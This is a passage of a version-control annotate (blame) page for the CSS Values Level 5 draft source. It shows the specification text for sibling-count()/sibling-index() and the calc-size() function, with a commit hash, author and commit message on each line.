sibling-count/index(). #4559">jackalmage@30488</a> </td> <td class="lineno"> <a href="#l2290" id="l2290"> 2290</a> </td> <td class="source"> on which the notation is used </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b1efe1de3bf8/css-values-5/Overview.bs#l1419" title="b1efe1de3bf8: [css-values-5] Add sibling-count/index(). #4559">jackalmage@30488</a> </td> <td class="lineno"> <a href="#l2291" id="l2291"> 2291</a> </td> <td class="source"> among the children of its parent. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b1efe1de3bf8/css-values-5/Overview.bs#l1420" title="b1efe1de3bf8: [css-values-5] Add sibling-count/index(). #4559">jackalmage@30488</a> </td> <td class="lineno"> <a href="#l2292" id="l2292"> 2292</a> </td> <td class="source"> Like '':nth-child()'', </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b1efe1de3bf8/css-values-5/Overview.bs#l1421" title="b1efe1de3bf8: [css-values-5] Add sibling-count/index(). #4559">jackalmage@30488</a> </td> <td class="lineno"> <a href="#l2293" id="l2293"> 2293</a> </td> <td class="source"> ''sibling-index()'' is 1-indexed. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b1efe1de3bf8/css-values-5/Overview.bs#l1422" title="b1efe1de3bf8: [css-values-5] Add sibling-count/index(). #4559">jackalmage@30488</a> </td> <td class="lineno"> <a href="#l2294" id="l2294"> 2294</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b1efe1de3bf8/css-values-5/Overview.bs#l1423" title="b1efe1de3bf8: [css-values-5] Add sibling-count/index(). #4559">jackalmage@30488</a> </td> <td class="lineno"> <a href="#l2295" id="l2295"> 2295</a> </td> <td class="source"> Note: The ''counter()'' function can provide similar abilities as ''sibling-index()'', </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b1efe1de3bf8/css-values-5/Overview.bs#l1424" title="b1efe1de3bf8: [css-values-5] Add sibling-count/index(). #4559">jackalmage@30488</a> </td> <td class="lineno"> <a href="#l2296" id="l2296"> 2296</a> </td> <td class="source"> but returns a <<string>> rather than an <<integer>>. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b1efe1de3bf8/css-values-5/Overview.bs#l1425" title="b1efe1de3bf8: [css-values-5] Add sibling-count/index(). #4559">jackalmage@30488</a> </td> <td class="lineno"> <a href="#l2297" id="l2297"> 2297</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b1efe1de3bf8/css-values-5/Overview.bs#l1426" title="b1efe1de3bf8: [css-values-5] Add sibling-count/index(). #4559">jackalmage@30488</a> </td> <td class="lineno"> <a href="#l2298" id="l2298"> 2298</a> </td> <td class="source"> When used on a [=pseudo-element=], </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b1efe1de3bf8/css-values-5/Overview.bs#l1427" title="b1efe1de3bf8: [css-values-5] Add sibling-count/index(). #4559">jackalmage@30488</a> </td> <td class="lineno"> <a href="#l2299" id="l2299"> 2299</a> </td> <td class="source"> these both resolve as if specified </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b1efe1de3bf8/css-values-5/Overview.bs#l1428" title="b1efe1de3bf8: [css-values-5] Add sibling-count/index(). #4559">jackalmage@30488</a> </td> <td class="lineno"> <a href="#l2300" id="l2300"> 2300</a> </td> <td class="source"> on its [=ultimate originating element=]. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b1efe1de3bf8/css-values-5/Overview.bs#l1429" title="b1efe1de3bf8: [css-values-5] Add sibling-count/index(). #4559">jackalmage@30488</a> </td> <td class="lineno"> <a href="#l2301" id="l2301"> 2301</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b1efe1de3bf8/css-values-5/Overview.bs#l1430" title="b1efe1de3bf8: [css-values-5] Add sibling-count/index(). #4559">jackalmage@30488</a> </td> <td class="lineno"> <a href="#l2302" id="l2302"> 2302</a> </td> <td class="source"> Note: Like the rest of CSS (other than [=selectors=]), </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b1efe1de3bf8/css-values-5/Overview.bs#l1431" title="b1efe1de3bf8: [css-values-5] Add sibling-count/index(). #4559">jackalmage@30488</a> </td> <td class="lineno"> <a href="#l2303" id="l2303"> 2303</a> </td> <td class="source"> ''sibling-count()'' and ''sibling-index()'' </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b1efe1de3bf8/css-values-5/Overview.bs#l1432" title="b1efe1de3bf8: [css-values-5] Add sibling-count/index(). #4559">jackalmage@30488</a> </td> <td class="lineno"> <a href="#l2304" id="l2304"> 2304</a> </td> <td class="source"> operate on the [=flat tree=]. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b1efe1de3bf8/css-values-5/Overview.bs#l1433" title="b1efe1de3bf8: [css-values-5] Add sibling-count/index(). #4559">jackalmage@30488</a> </td> <td class="lineno"> <a href="#l2305" id="l2305"> 2305</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b1efe1de3bf8/css-values-5/Overview.bs#l1434" title="b1efe1de3bf8: [css-values-5] Add sibling-count/index(). #4559">jackalmage@30488</a> </td> <td class="lineno"> <a href="#l2306" id="l2306"> 2306</a> </td> <td class="source"> Note: These functions may, in the future, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b1efe1de3bf8/css-values-5/Overview.bs#l1435" title="b1efe1de3bf8: [css-values-5] Add sibling-count/index(). #4559">jackalmage@30488</a> </td> <td class="lineno"> <a href="#l2307" id="l2307"> 2307</a> </td> <td class="source"> be extended to accept an ''of <<selector>>'' argument, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b1efe1de3bf8/css-values-5/Overview.bs#l1436" title="b1efe1de3bf8: [css-values-5] Add sibling-count/index(). #4559">jackalmage@30488</a> </td> <td class="lineno"> <a href="#l2308" id="l2308"> 2308</a> </td> <td class="source"> similar to '':nth-child()'', </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b1efe1de3bf8/css-values-5/Overview.bs#l1437" title="b1efe1de3bf8: [css-values-5] Add sibling-count/index(). #4559">jackalmage@30488</a> </td> <td class="lineno"> <a href="#l2309" id="l2309"> 2309</a> </td> <td class="source"> to filter on a subset of the children. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l485" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l2310" id="l2310"> 2310</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/9b37f55ef739/css-values-5/Overview.bs#l1508" title="9b37f55ef739: [css-values-5] Define calc-size(). #626">jackalmage@30899</a> </td> <td class="lineno"> <a href="#l2311" id="l2311"> 2311</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/9b37f55ef739/css-values-5/Overview.bs#l1509" title="9b37f55ef739: [css-values-5] Define calc-size(). #626">jackalmage@30899</a> </td> <td class="lineno"> <a href="#l2312" id="l2312"> 2312</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/9b37f55ef739/css-values-5/Overview.bs#l1519" title="9b37f55ef739: [css-values-5] Define calc-size(). #626">jackalmage@30899</a> </td> <td class="lineno"> <a href="#l2322" id="l2322"> 2322</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/9b37f55ef739/css-values-5/Overview.bs#l1520" title="9b37f55ef739: [css-values-5] Define calc-size(). #626">jackalmage@30899</a> </td> <td class="lineno"> <a href="#l2323" id="l2323"> 2323</a> </td> <td class="source"><h2 id=calc-size> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/9b37f55ef739/css-values-5/Overview.bs#l1521" title="9b37f55ef739: [css-values-5] Define calc-size(). #626">jackalmage@30899</a> </td> <td class="lineno"> <a href="#l2324" id="l2324"> 2324</a> </td> <td class="source">Calculating With Intrinsic Sizes: the ''calc-size()'' function</h2> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/9b37f55ef739/css-values-5/Overview.bs#l1522" title="9b37f55ef739: [css-values-5] Define calc-size(). #626">jackalmage@30899</a> </td> <td class="lineno"> <a href="#l2325" id="l2325"> 2325</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l1986" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2326" id="l2326"> 2326</a> </td> <td class="source"> When transitioning between two [=definite=] sizes, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l1987" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2327" id="l2327"> 2327</a> </td> <td class="source"> or slightly adjusting an existing definite size, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l1988" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2328" id="l2328"> 2328</a> </td> <td class="source"> ''calc()'' works great: </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l1989" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2329" id="l2329"> 2329</a> </td> <td class="source"> halfway between ''100%'' and ''20px'' is ''calc(50% + 10px)'', </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l1990" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2330" id="l2330"> 2330</a> </td> <td class="source"> ''20%'' with a margin of ''15px'' on either side is ''calc(20% + 15px * 2)'', </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l1991" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2331" id="l2331"> 2331</a> </td> <td class="source"> etc. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l1992" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2332" id="l2332"> 2332</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l1993" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2333" id="l2333"> 2333</a> </td> <td class="source"> But these operations are no longer possible if the size you want to adjust </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l1994" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2334" id="l2334"> 2334</a> </td> <td class="source"> or transition to/from </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l1995" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2335" id="l2335"> 2335</a> </td> <td class="source"> is an [=intrinsic size=], </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l1996" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2336" id="l2336"> 2336</a> </td> <td class="source"> for both practical and backward-compatibility reasons. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l1997" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2337" id="l2337"> 2337</a> </td> <td class="source"> The ''calc-size()'' function </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l1998" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2338" id="l2338"> 2338</a> </td> <td class="source"> allows math to be performed on intrinsic sizes </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l1999" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2339" id="l2339"> 2339</a> </td> <td class="source"> in a safe, well-defined way. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/9b37f55ef739/css-values-5/Overview.bs#l1537" title="9b37f55ef739: [css-values-5] Define calc-size(). #626">jackalmage@30899</a> </td> <td class="lineno"> <a href="#l2340" id="l2340"> 2340</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/9b37f55ef739/css-values-5/Overview.bs#l1538" title="9b37f55ef739: [css-values-5] Define calc-size(). #626">jackalmage@30899</a> </td> <td class="lineno"> <a href="#l2341" id="l2341"> 2341</a> </td> <td class="source"> <pre class=prod> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/c34e4bebcd96/css-values-5/Overview.bs#l1737" title="c34e4bebcd96: [css-values-5] Remove the single-argument form of calc-size().">dbaron@31460</a> </td> <td class="lineno"> <a href="#l2342" id="l2342"> 2342</a> </td> <td class="source"> <dfn function lt="calc-size()">&lt;calc-size()></dfn> = calc-size( <<calc-size-basis>>, <<calc-sum>> ) </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/9b37f55ef739/css-values-5/Overview.bs#l1540" title="9b37f55ef739: [css-values-5] Define calc-size(). #626">jackalmage@30899</a> </td> <td class="lineno"> <a href="#l2343" id="l2343"> 2343</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/f88df7f4512f/css-values-5/Overview.bs#l1739" title="f88df7f4512f: [css-values-5] Move calc-size basis canonicalization to only occur when interpolating. #10220">jackalmage@31487</a> </td> <td class="lineno"> <a href="#l2344" id="l2344"> 2344</a> </td> <td class="source"> <dfn>&lt;calc-size-basis></dfn> = [ <<intrinsic-size-keyword>> | <<calc-size()>> | any | <<calc-sum>> ] </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/9b37f55ef739/css-values-5/Overview.bs#l1542" title="9b37f55ef739: [css-values-5] Define calc-size(). #626">jackalmage@30899</a> </td> <td class="lineno"> <a href="#l2345" id="l2345"> 2345</a> </td> <td class="source"> </pre> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/9b37f55ef739/css-values-5/Overview.bs#l1543" title="9b37f55ef739: [css-values-5] Define calc-size(). #626">jackalmage@30899</a> </td> <td class="lineno"> <a href="#l2346" id="l2346"> 2346</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2007" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2347" id="l2347"> 2347</a> </td> <td class="source"> The <dfn>&lt;intrinsic-size-keyword></dfn> production </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2008" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2348" id="l2348"> 2348</a> </td> <td class="source"> matches any [=intrinsic size=] keywords allowed in the context. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2009" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2349" id="l2349"> 2349</a> </td> <td class="source"> For example, in 'width', </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2010" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2350" id="l2350"> 2350</a> </td> <td class="source"> it matches ''width/auto'', ''width/min-content'', ''width/stretch'', etc. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2011" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2351" id="l2351"> 2351</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2012" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2352" id="l2352"> 2352</a> </td> <td class="source"> <details class=note> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2013" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2353" id="l2353"> 2353</a> </td> <td class="source"> <summary>Why can ''calc-size()'' be nested?</summary> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2014" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2354" id="l2354"> 2354</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2015" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2355" id="l2355"> 2355</a> </td> <td class="source"> Allowing ''calc-size()'' as the basis argument </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2016" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2356" id="l2356"> 2356</a> </td> <td class="source"> means that authors can use a variable as the basis </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2017" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2357" id="l2357"> 2357</a> </td> <td class="source"> (like ''calc-size(var(--foo), size + 20px)'') </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2018" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2358" id="l2358"> 2358</a> </td> <td class="source"> and it will <em>always work</em> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2019" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2359" id="l2359"> 2359</a> </td> <td class="source"> as long as the variable was originally valid for the property. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2020" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2360" id="l2360"> 2360</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2021" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2361" id="l2361"> 2361</a> </td> <td class="source"> Doing the same with just ''calc()'' doesn't work - </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2022" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2362" id="l2362"> 2362</a> </td> <td class="source"> for example, if you have ''--foo: calc-size(min-content, size + 20px)'', </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2023" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2363" id="l2363"> 2363</a> </td> <td class="source"> or even just ''--foo: min-content'', </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2024" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2364" id="l2364"> 2364</a> </td> <td class="source"> then ''calc( (var(--foo)) + 20px )'' fails. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2025" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2365" id="l2365"> 2365</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2026" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2366" id="l2366"> 2366</a> </td> <td class="source"> The nesting is simplified away during interpolation, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2027" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2367" id="l2367"> 2367</a> </td> <td class="source"> and at used-value time, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2028" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2368" id="l2368"> 2368</a> </td> <td class="source"> so the basis always ends up as a simple value </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2029" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2369" id="l2369"> 2369</a> </td> <td class="source"> by the time interpolation and other effects occur; </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2030" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2370" id="l2370"> 2370</a> </td> <td class="source"> see [[#simplifying-calc-size]]. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2031" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2371" id="l2371"> 2371</a> </td> <td class="source"> </details> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2032" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2372" id="l2372"> 2372</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2033" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2373" id="l2373"> 2373</a> </td> <td class="source"> The first argument given is the <dfn>calc-size basis</dfn>, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2034" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2374" id="l2374"> 2374</a> </td> <td class="source"> and the second is the <dfn>calc-size calculation</dfn>. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2035" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2375" id="l2375"> 2375</a> </td> <td class="source"> For either argument, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2036" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2376" id="l2376"> 2376</a> </td> <td class="source"> if a <<calc-sum>> is given, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2037" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2377" id="l2377"> 2377</a> </td> <td class="source"> its [=CSSNumericValue/type=] must [=CSSNumericValue/match=] <<length-percentage>>, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2038" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2378" id="l2378"> 2378</a> </td> <td class="source"> and it must resolve to a <<length>>. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2039" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2379" id="l2379"> 2379</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2040" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2380" id="l2380"> 2380</a> </td> <td class="source"> Within the [=calc-size calculation=], </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2041" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2381" id="l2381"> 2381</a> </td> <td class="source"> if the [=calc-size basis=] is not ''calc-size()/any'', </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2042" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2382" id="l2382"> 2382</a> </td> <td class="source"> the keyword <dfn for=calc-size() value>size</dfn> is allowed. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2043" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2383" id="l2383"> 2383</a> </td> <td class="source"> This keyword is a <<length>>, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2044" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2384" id="l2384"> 2384</a> </td> <td class="source"> and resolves at [=used value=] time. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2045" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2385" id="l2385"> 2385</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2046" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2386" id="l2386"> 2386</a> </td> <td class="source"> ''calc-size()'' represents an [=intrinsic size=]. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2047" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2387" id="l2387"> 2387</a> </td> <td class="source"> It is specifically <em>not</em> a <<length>>; </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2048" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2388" id="l2388"> 2388</a> </td> <td class="source"> any place that wants to accept a ''calc-size()'' </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2049" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2389" id="l2389"> 2389</a> </td> <td class="source"> must explicitly include it in its grammar. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2050" 